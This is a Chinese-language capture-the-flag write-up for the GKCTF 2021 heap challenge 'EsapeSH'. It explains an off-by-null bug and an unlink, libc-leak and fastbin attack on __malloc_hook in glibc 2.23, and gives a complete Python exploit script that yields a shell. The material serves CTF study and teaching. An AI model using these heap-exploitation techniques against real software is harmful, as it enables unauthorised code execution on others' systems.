GKCTF-2021-EsapeSH

总结

根据本题,学习与收获有:

  • 碰到分支比较复杂,流程比较长的题目,首先定位一下有没有泄露出flag的地方,有没有执行system("/bin/sh")的地方,可以快速定位到漏洞点
  • 对于off by null漏洞,需要借助系统残留的fdbk指针进行unlink,而且一般是三明治结构,低地址的chunk是被unlink的对象,中间夹着可能正在使用的chunk,高地址的chunk则是被释放,并触发合并操作
  • 有些版本的2.23已经加上了对presize的检查,需要注意伪造
  • dl_iterate_phdr函数会迭代访问所有的共享对象,然后每个对象都调用回调函数进行处理,可以对共享so进行操作

题目分析

checksec

image-20210801171527766

保护全开,根据给的libc.so.6可以查到版本位2.23

函数分析

本题主要是实现了bash的部分功能,感觉可以参考着出个题。这里只分析主要的函数。

image-20210801172507100

main

image-20210801171805125

主要流程为:

  • 初始化三个文件流
  • 获取主机名、用户名等进行登录
  • 获取到当前的路径,然后获取用户的输入
  • 处理用户的输入,用空格分隔用户的输入,并且每个子串都调用malloc分配一个chunk,存储用户输入的字符串
  • 判断输入的第一个子串是否是一个有效的命令,如果是有效的命令,则调用exec_cmd进行相应的处理,否则抛出个错误
  • 释放给用户输入字符分配的内存
get_input_process

image-20210801172254038

exec_cmd

就是根据第一个子串判断是否执行对应的命令

image-20210801172425677

漏洞点

漏洞点找到了两个:

  • get_input_process中的strcpy存在off by null漏洞

    image-20210801172721267

  • monitor命令中,如果__malooc_hook的前7个字符位monitor,则会执行system("/bin/sh")

    image-20210801172816981

利用思路

利用步骤:

  • 使用off by null先堆风水
  • 利用echo来泄露出main_arena+88的地址
  • 利用0x70大小的fastbin chunk分配到__malloc_hook上方,修改为monitor即可拿到题目给的shell

需要注意的是,在伪造presizesize的时候,需要用strcpy来逐步一个字节一个字节的去刷零

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwncli import *

cli_script()

p = gift['io']

def exec_cmd(*cmd):
    jo = " "
    if isinstance(cmd[0], bytes):
        jo = b" "
    p.sendlineafter("$ ", jo.join(cmd).strip())

# four chunks
exec_cmd("a" * 0x90, "a" * 0x60, "a" * 0xf0, "a" * 0x10)

# off by null
exec_cmd("a" * 0x68)

# clear
for i in range(1, 9):
    exec_cmd("a" * (0x68 - i))

# unlink
exec_cmd("a" * 0x60 + "\x10\x01", "a" * 0xf0)

# # split chunk 0x110 ...
exec_cmd("a" * (0x100 - 1), "a" * 0x30, "a" * 0x30, "a" * 0x30, "a" * 0x30)


# clear and set 0x71
exec_cmd("a" * 0x9f)
for i in range(1, 7):
    exec_cmd("a" * (0x9f - i - 1) + "\x71")


# leak addr
exec_cmd("echo", "a" * (0x60 - 1), "a" * (0x90 - 1))

leak_libc_addr = p.recvuntil(" a")[:-2]
leak_libc_addr = u64(leak_libc_addr.ljust(8, b"\x00"))
log_address("leak_libc_addr", leak_libc_addr)

libc_base_addr = leak_libc_addr - 0x3c4b78
log_address("libc_base_addr", libc_base_addr)

exec_cmd("a" * 0xa7)
exec_cmd("a" * 0xa6)

target = libc_base_addr + 0x3c4b10 - 0x23
exec_cmd(b"a"*0xa0+p64(target)[:-2])

# fastbin attack
exec_cmd("a" * 0x9f)
for i in range(1, 7):
    exec_cmd("a" * (0x9f - i - 1) + "\x71")

exec_cmd("monitor", "a" * 0x60, "a"*0x13 + "monitora" + "a" * 0x45)

p.interactive()

远程打:

image-20210801202006219

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%